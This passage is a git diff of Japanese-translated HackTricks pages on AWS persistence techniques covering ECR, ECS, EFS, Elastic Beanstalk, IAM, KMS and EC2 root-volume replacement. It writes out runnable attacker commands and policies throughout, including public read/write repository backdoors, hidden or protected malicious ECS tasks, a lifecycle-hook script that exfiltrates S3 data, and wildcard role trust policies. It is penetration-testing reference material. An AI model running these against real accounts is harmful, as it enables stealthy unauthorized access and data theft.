+期待される動作: ENI_ID と PRI_IP は同じままで、root volume ID は $ORIG_VOL から $NEW_VOL に変わります。システムは攻撃者が制御する AMI/snapshot からのファイルシステムで起動します。
+
+## 注記
+- API はインスタンスを手動で停止する必要はありません；EC2 が再起動をオーケストレーションします。
+- デフォルトでは、置き換えられた（古い）root EBS volume はデタッチされてアカウント内に残されます（DeleteReplacedRootVolume=false）。これはロールバックに使用できるか、コストを避けるために削除する必要があります。
+
+## ロールバック / クリーンアップ
+```bash
+# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
+# you can create a snapshot and replace again from it:
+SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL   --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
+aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
+aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
+
+# Or simply delete the detached old root volume if not needed:
+aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
deleted file mode 100644
index d22d699c2..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ /dev/null
@@ -1,91 +0,0 @@
-# AWS - ECR Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### 悪意のあるコードを含む隠れたDockerイメージ
-
-攻撃者は**悪意のあるコードを含むDockerイメージ**をECRリポジトリにアップロードし、ターゲットAWSアカウントでの持続性を維持するために使用することができます。攻撃者は、その後、Amazon ECSやEKSなど、アカウント内のさまざまなサービスに悪意のあるイメージをステルス方式でデプロイすることができます。
-
-### リポジトリポリシー
-
-自分自身（または全員）にリポジトリへのアクセスを付与するポリシーを単一のリポジトリに追加します：
-```bash
-aws ecr set-repository-policy \
---repository-name cluster-autoscaler \
---policy-text file:///tmp/my-policy.json
-
-# With a .json such as
-
-{
-"Version" : "2008-10-17",
-"Statement" : [
-{
-"Sid" : "allow public pull",
-"Effect" : "Allow",
-"Principal" : "*",
-"Action" : [
-"ecr:BatchCheckLayerAvailability",
-"ecr:BatchGetImage",
-"ecr:GetDownloadUrlForLayer"
-]
-}
-]
-}
-```
-> [!WARNING]
-> ECRを使用するには、ユーザーがIAMポリシーを通じて**`ecr:GetAuthorizationToken`** APIを呼び出す**権限**を持っている必要があります。これにより、レジストリに認証し、任意のAmazon ECRリポジトリから画像をプッシュまたはプルできます。
-
-### レジストリポリシーとクロスアカウントレプリケーション
-
-クロスアカウントレプリケーションを設定することで、外部アカウントにレジストリを自動的にレプリケートすることが可能です。この際、レジストリをレプリケートしたい**外部アカウント**を**指定する**必要があります。
-
-<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
-
-まず、外部アカウントに対して、次のような**レジストリポリシー**を使用してレジストリへのアクセスを付与する必要があります。
-```bash
-aws ecr put-registry-policy --policy-text file://my-policy.json
-
-# With a .json like:
-
-{
-"Sid": "asdasd",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::947247140022:root"
-},
-"Action": [
-"ecr:CreateRepository",
-"ecr:ReplicateImage"
-],
-"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
-}
-```
-その後、レプリケーション設定を適用します:
-```bash
-aws ecr put-replication-configuration \
---replication-configuration file://replication-settings.json \
---region us-west-2
-
-# Having the .json a content such as:
-{
-"rules": [{
-"destinations": [{
-"region": "destination_region",
-"registryId": "destination_accountId"
-}],
-"repositoryFilters": [{
-"filter": "repository_prefix_name",
-"filterType": "PREFIX_MATCH"
-}]
-}]
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md
new file mode 100644
index 000000000..de2d6045e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md
@@ -0,0 +1,145 @@
+# AWS - ECR Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+詳細は次を参照:
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### 隠された Docker Image（Malicious Code を含む）
+
+攻撃者は**upload a Docker image containing malicious code**をECR repositoryにアップロードし、ターゲットのAWSアカウントでpersistenceを維持するために利用する可能性があります。攻撃者はその後、悪意あるimageをAmazon ECSやEKSなどアカウント内の様々なサービスにステルスにdeployすることができます。
+
+### リポジトリポリシー
+
+単一のリポジトリに対して、自分（または全員）にそのリポジトリへのアクセスを許可するポリシーを追加する:
+```bash
+aws ecr set-repository-policy \
+--repository-name cluster-autoscaler \
+--policy-text file:///tmp/my-policy.json
+
+# With a .json such as
+
+{
+"Version" : "2008-10-17",
+"Statement" : [
+{
+"Sid" : "allow public pull",
+"Effect" : "Allow",
+"Principal" : "*",
+"Action" : [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
+}
+```
+> [!WARNING]
+> ECR は、ユーザーがレジストリに認証し、任意の Amazon ECR リポジトリからイメージを push または pull する前に、IAM ポリシーを通じて **`ecr:GetAuthorizationToken`** API を呼び出すための **権限** を持っている必要があることに注意してください。
+
+### レジストリポリシー & クロスアカウントレプリケーション
+
+cross-account replication を構成することで、外部アカウントにレジストリを自動的にレプリケートすることが可能で、その際にはレプリケート先の **外部アカウントを指定** する必要があります。
+
+<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
+
+まず、次のような **レジストリポリシー** を使って外部アカウントにレジストリへのアクセスを付与する必要があります:
+```bash
+aws ecr put-registry-policy --policy-text file://my-policy.json
+
+# With a .json like:
+
+{
+"Sid": "asdasd",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::947247140022:root"
+},
+"Action": [
+"ecr:CreateRepository",
+"ecr:ReplicateImage"
+],
+"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
+}
+```
+次に、レプリケーション設定を適用します:
+```bash
+aws ecr put-replication-configuration \
+--replication-configuration file://replication-settings.json \
+--region us-west-2
+
+# Having the .json a content such as:
+{
+"rules": [{
+"destinations": [{
+"region": "destination_region",
+"registryId": "destination_accountId"
+}],
+"repositoryFilters": [{
+"filter": "repository_prefix_name",
+"filterType": "PREFIX_MATCH"
+}]
+}]
+}
+```
+### Repository Creation Templates (prefix backdoor for future repos)
+
+ECR Repository Creation Templates を悪用して、制御されたプレフィックスの下で ECR が自動作成する任意のリポジトリに自動的に backdoor を仕込みます（例：Pull-Through Cache や Create-on-Push を介して）。これにより、既存のリポジトリに触れることなく将来のリポジトリに対する継続的な不正アクセスが得られます。
+
+- 必要な権限: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy（テンプレートで使用）, iam:PassRole（テンプレートにカスタムロールが添付されている場合）
+- 影響: 対象プレフィックスの下で作成される新しいリポジトリは、攻撃者が制御するリポジトリポリシー（例：cross-account read/write）、タグの変更可否、スキャンのデフォルト設定を自動的に継承します。
+
+<details>
+<summary>Backdoor future PTC-created repos under a chosen prefix</summary>
+```bash
+# Region
+REGION=us-east-1
+
+# 1) Prepare permissive repository policy (example grants everyone RW)
+cat > /tmp/repo_backdoor_policy.json <<'JSON'
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BackdoorRW",
+"Effect": "Allow",
+"Principal": {"AWS": "*"},
+"Action": [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer",
+"ecr:InitiateLayerUpload",
+"ecr:UploadLayerPart",
+"ecr:CompleteLayerUpload",
+"ecr:PutImage"
+]
+}
+]
+}
+JSON
+
+# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
+aws ecr create-repository-creation-template   --region $REGION   --prefix ptc2   --applied-for PULL_THROUGH_CACHE   --image-tag-mutability MUTABLE   --repository-policy file:///tmp/repo_backdoor_policy.json
+
+# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
+#    This example caches from Amazon ECR Public namespace "nginx"
+aws ecr create-pull-through-cache-rule   --region $REGION   --ecr-repository-prefix ptc2   --upstream-registry ecr-public   --upstream-registry-url public.ecr.aws   --upstream-repository-prefix nginx
+
+# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
+acct=$(aws sts get-caller-identity --query Account --output text)
+aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+
+docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
+
+# 5) Validate the backdoor policy was applied on the newly created repository
+aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
+```
+</details>
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
deleted file mode 100644
index 84981b09e..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ /dev/null
@@ -1,93 +0,0 @@
-# AWS - ECS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### 隠れた定期ECSタスク
-
-> [!NOTE]
-> TODO: テスト
-
-攻撃者は、Amazon EventBridgeを使用して**悪意のあるタスクの実行を定期的にスケジュールする**隠れた定期ECSタスクを作成できます。このタスクは、偵察を行ったり、データを抽出したり、AWSアカウント内での持続性を維持したりすることができます。
-```bash
-# Create a malicious task definition
-aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-{
-"name": "malicious-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-}
-]'
-
-# Create an Amazon EventBridge rule to trigger the task periodically
-aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
-
-# Add a target to the rule to run the malicious ECS task
-aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
-{
-"Id": "malicious-ecs-task-target",
-"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
-"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
-"EcsParameters": {
-"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
-"TaskCount": 1
-}
-}
-]'
-```
-### 既存のECSタスク定義におけるバックドアコンテナ
-
-> [!NOTE]
-> TODO: テスト
-
-攻撃者は、正当なコンテナと並行して実行される既存のECSタスク定義に**ステルスバックドアコンテナ**を追加することができます。バックドアコンテナは、持続性を確保し、悪意のある活動を行うために使用される可能性があります。
-```bash
-# Update the existing task definition to include the backdoor container
-aws ecs register-task-definition --family "existing-task" --container-definitions '[
-{
-"name": "legitimate-container",
-"image": "legitimate-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-},
-{
-"name": "backdoor-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": false
-}
-]'
-```
-### 文書化されていないECSサービス
-
-> [!NOTE]
-> TODO: テスト
-
-攻撃者は、悪意のあるタスクを実行する**文書化されていないECSサービス**を作成できます。タスクの希望数を最小に設定し、ログ記録を無効にすることで、管理者が悪意のあるサービスに気づくのが難しくなります。
-```bash
-# Create a malicious task definition
-aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-{
-"name": "malicious-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-}
-]'
-
-# Create an undocumented ECS service with the malicious task definition
-aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md
new file mode 100644
index 000000000..c2f080c0a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md
@@ -0,0 +1,151 @@
+# AWS - ECS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+詳細は以下を参照してください:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Hidden Periodic ECS Task
+
+> [!NOTE]
+> TODO: Test
+
+攻撃者は Amazon EventBridge を使って hidden periodic ECS task を作成し、**malicious task を定期的に実行するようスケジュール**できます。 このタスクは reconnaissance を行ったり、exfiltrate data を行ったり、AWS アカウント内で persistence を維持したりすることができます。
+```bash
+# Create a malicious task definition
+aws ecs register-task-definition --family "malicious-task" --container-definitions '[
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
+]'
+
+# Create an Amazon EventBridge rule to trigger the task periodically
+aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
+
+# Add a target to the rule to run the malicious ECS task
+aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
+{
+"Id": "malicious-ecs-task-target",
+"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
+"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
+"EcsParameters": {
+"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
+"TaskCount": 1
+}
+}
+]'
+```
+### Backdoor Container in Existing ECS Task Definition
+
+> [!NOTE]
+> TODO: Test
+
+攻撃者は、既存の ECS task definition に正規のコンテナと並行して動作する **stealthy backdoor container** を追加できます。 その backdoor container は persistence や悪意のある活動の実行に利用できます。
+```bash
+# Update the existing task definition to include the backdoor container
+aws ecs register-task-definition --family "existing-task" --container-definitions '[
+{
+"name": "legitimate-container",
+"image": "legitimate-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+},
+{
+"name": "backdoor-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": false
+}
+]'
+```
+### 未文書化の ECS Service
+
+> [!NOTE]
+> TODO: テスト
+
+攻撃者は悪意のあるタスクを実行する**未文書化の ECS service**を作成できます。タスクの希望数を最小に設定し、ログを無効化することで、管理者が悪意のあるサービスに気づきにくくなります。
+```bash
+# Create a malicious task definition
+aws ecs register-task-definition --family "malicious-task" --container-definitions '[
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
+]'
+
+# Create an undocumented ECS service with the malicious task definition
+aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
+```
+### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
+
+ecs:UpdateTaskProtection を悪用して、service tasks が scale‑in events や rolling deployments によって停止されるのを防ぎます。保護を継続的に延長することで、攻撃者は長期間稼働するタスクを維持できます（C2 やデータ収集用）。防御側が desiredCount を減らしたり新しい task revisions をプッシュしても、タスクを実行し続けられます。
+
+Steps to reproduce in us-east-1:
+```bash
+# 1) Cluster (create if missing)
+CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
+[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
+
+# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
+cat > /tmp/ht-persist-td.json << 'JSON'
+{
+"family": "ht-persist",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"containerDefinitions": [
+{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
+"command": ["/bin/sh","-c","sleep 864000"]}
+]
+}
+JSON
+aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
+
+# 3) Create service (use default VPC public subnet + default SG)
+VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
+SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
+SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
+aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
+--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
+
+# 4) Get running task ARN
+TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
+
+# 5) Enable scale-in protection for 24h and verify
+aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
+aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
+
+# 6) Try to scale service to 0 (task should persist)
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
+aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
+
+# Optional: rolling deployment blocked by protection
+aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
+aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
+
+# 7) Cleanup
+aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
+aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
+aws ecs deregister-task-definition --task-definition ht-persist || true
+```
+影響: 保護されたタスクは desiredCount=0 にもかかわらず RUNNING のままとなり、新しいデプロイ時の置き換えをブロックして ECSサービス内でステルス性の高い長期的な永続化を可能にします。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
deleted file mode 100644
index bde2d0c86..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# AWS - EFS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-### リソースポリシー / セキュリティグループの変更
-
-**リソースポリシーおよび/またはセキュリティグループ**を変更することで、ファイルシステムへのアクセスを持続させることができます。
-
-### アクセスポイントの作成
-
-**アクセスポイントを作成する**ことで、ファイルシステムへの特権アクセスを維持するために、他の**持続性**を実装したサービスからアクセス可能な（`/`へのルートアクセスを持つ）アクセスポイントを作成できます。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md
new file mode 100644
index 000000000..9a66b1302
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md
@@ -0,0 +1,21 @@
+# AWS - EFS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+詳細は以下を参照してください:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### Resource Policy / Security Groups の変更
+
+**resource policy and/or security groups** を変更することで、ファイルシステムへのアクセスを持続させることを試みることができます。
+
+### Access Point の作成
+
+ファイルシステムへの特権アクセスを維持するために、**other persistence** を実装しているサービスからアクセスできる、`/` に対する root access を持つ **create an access point** を作成することができます。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md
similarity index 50%
rename from src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
rename to src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md
index 8c2282088..c523048bd 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md
@@ -1,35 +1,35 @@
-# AWS - Elastic Beanstalk Persistence
+# AWS - Elastic Beanstalk 永続化
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Elastic Beanstalk
 
-詳細については、以下を確認してください：
+詳細は以下を参照してください:
 
 {{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
+../../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
-### インスタンス内の永続性
+### インスタンス内での永続化
 
-AWSアカウント内で永続性を維持するために、**インスタンス内に永続性メカニズムを導入することができる**（cronジョブ、sshキー...）ので、攻撃者はそれにアクセスし、IAMロールの**資格情報をメタデータサービスから盗む**ことができます。
+AWSアカウント内で永続化を維持するために、インスタンス内に何らかの**永続化メカニズムを導入することがあります**（cron job, ssh key...）。これにより攻撃者はインスタンスにアクセスして、IAM role **credentials from the metadata service**を盗むことが可能になります。
 
-### バックドアのあるバージョン
+### Backdoor in Version
 
-攻撃者はS3リポジトリ内のコードにバックドアを仕掛け、常にそのバックドアと期待されるコードを実行させることができます。
+攻撃者はS3リポジトリ内のコードにbackdoorを仕込み、常にそのbackdoorと期待されるコードの両方を実行させることができます。
 
-### 新しいバックドア付きバージョン
+### New backdoored version
 
-実際のバージョンのコードを変更する代わりに、攻撃者はアプリケーションの新しいバックドア付きバージョンをデプロイすることができます。
+実際のバージョンのコードを変更する代わりに、攻撃者はアプリケーションの新しいbackdoored versionをデプロイすることができます。
 
-### カスタムリソースライフサイクルフックの悪用
+### Abusing Custom Resource Lifecycle Hooks
 
 > [!NOTE]
-> TODO: テスト
+> TODO: Test
 
-Elastic Beanstalkは、インスタンスのプロビジョニングおよび終了中にカスタムスクリプトを実行するためのライフサイクルフックを提供します。攻撃者は、**データを外部に送信したりAWSアカウントへのアクセスを維持するスクリプトを定期的に実行するようにライフサイクルフックを構成することができます**。
+Elastic Beanstalkは、インスタンスのプロビジョニングや終了時にカスタムスクリプトを実行できるlifecycle hooksを提供します。攻撃者は**lifecycle hookを設定して、定期的にスクリプトを実行し、データをexfiltrateしたり、AWS accountへのアクセスを維持したりする**ことができます。
 ```bash
-bashCopy code# Attacker creates a script that exfiltrates data and maintains access
+# Attacker creates a script that exfiltrates data and maintains access
 echo '#!/bin/bash
 aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
 gzip /tmp/data.csv
@@ -72,4 +72,4 @@ Fn::GetAtt:
 # Attacker applies the new environment configuration
 aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
deleted file mode 100644
index cb1a73aa1..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# AWS - IAM Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-詳細情報は以下にアクセスしてください：
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-### 一般的なIAM持続性
-
-- ユーザーを作成する
-- 制御されたユーザーを特権グループに追加する
-- アクセスキーを作成する（新しいユーザーまたはすべてのユーザーの）
-- 制御されたユーザー/グループに追加の権限を付与する（アタッチされたポリシーまたはインラインポリシー）
-- MFAを無効にする / 自分のMFAデバイスを追加する
-- ロールチェーンジャグリングの状況を作成する（この後のSTS持続性で詳しく説明します）
-
-### バックドアロール信頼ポリシー
-
-信頼ポリシーにバックドアを仕掛けて、あなたが制御する外部リソースのためにそれを引き受けることができるようにすることができます（または誰にでも）：
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": ["*", "arn:aws:iam::123213123123:root"]
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-### バックドアポリシーのバージョン
-
-最後のバージョンではなく、ポリシーに管理者権限を付与します（最後のバージョンは正当なものに見えるべきです）。その後、そのバージョンのポリシーを制御されたユーザー/グループに割り当てます。
-
-### バックドア / アイデンティティプロバイダーの作成
-
-アカウントがすでに一般的なアイデンティティプロバイダー（例えばGithub）を信頼している場合、信頼の条件を強化することで攻撃者がそれを悪用できるようになります。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md
new file mode 100644
index 000000000..b75c4ee4a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md
@@ -0,0 +1,47 @@
+# AWS - IAM Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+詳細については以下を参照してください:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+### 一般的な IAM Persistence
+
+- ユーザーを作成する
+- 自分が管理するユーザーを特権グループに追加する
+- アクセスキーを作成する（新しいユーザーの、またはすべてのユーザーの）
+- 制御下のユーザー/グループに追加の権限を付与する（attached policies または inline policies）
+- MFA を無効化する / 自分の MFA デバイスを追加する
+- Role Chain Juggling の状況を作り出す（詳しくは下の STS persistence を参照）
+
+### Backdoor Role Trust Policies
+
+You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": ["*", "arn:aws:iam::123213123123:root"]
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+### バックドアポリシーのバージョン
+
+最新ではないバージョンのポリシーに管理者権限を付与し（最新バージョンは正規に見えるようにする）、そのポリシーの当該バージョンをコントロール下のユーザー／グループに割り当てる。
+
+### バックドア / アイデンティティプロバイダーの作成
+
+アカウントが既に一般的なアイデンティティプロバイダー（例えば Github）を信頼している場合、信頼の条件を拡大・緩和して攻撃者がそれを悪用できるようにすることが可能である。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
deleted file mode 100644
index d71c0c82d..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - KMS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## KMS
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-kms-enum.md
-{{#endref}}
-
-### KMSポリシーを介してアクセスを付与
-
-攻撃者は、**`kms:PutKeyPolicy`** 権限を使用して、制御下のユーザーまたは外部アカウントにキーへの**アクセスを付与**することができます。詳細については、[**KMS Privescページ**](../aws-privilege-escalation/aws-kms-privesc.md)を確認してください。
-
-### 永続的な付与
-
-付与は、特定のキーに対してプリンシパルにいくつかの権限を与える別の方法です。ユーザーが付与を作成できるようにする付与を与えることが可能です。さらに、ユーザーは同じキーに対して複数の付与（同一のものも含む）を持つことができます。
-
-したがって、ユーザーはすべての権限を持つ10の付与を持つことが可能です。攻撃者はこれを常に監視する必要があります。そして、ある時点で1つの付与が削除された場合、別の10の付与が生成されるべきです。
-
-（ユーザーがまだいくつかの付与を持っている間に付与が削除されたことを検出できるようにするために、2ではなく10を使用しています）
-```bash
-# To generate grants, generate 10 like this one
-aws kms create-grant \
---key-id <key-id> \
---grantee-principal <user_arn> \
---operations "CreateGrant" "Decrypt"
-
-# To monitor grants
-aws kms list-grants --key-id <key-id>
-```
-> [!NOTE]
-> グラントは、次のリンクからのみ権限を付与できます: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md
new file mode 100644
index 000000000..f1241e0c3
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md
@@ -0,0 +1,37 @@
+# AWS - KMS 永続化
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## KMS
+
+詳細は次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### KMSポリシーを介したアクセス付与
+
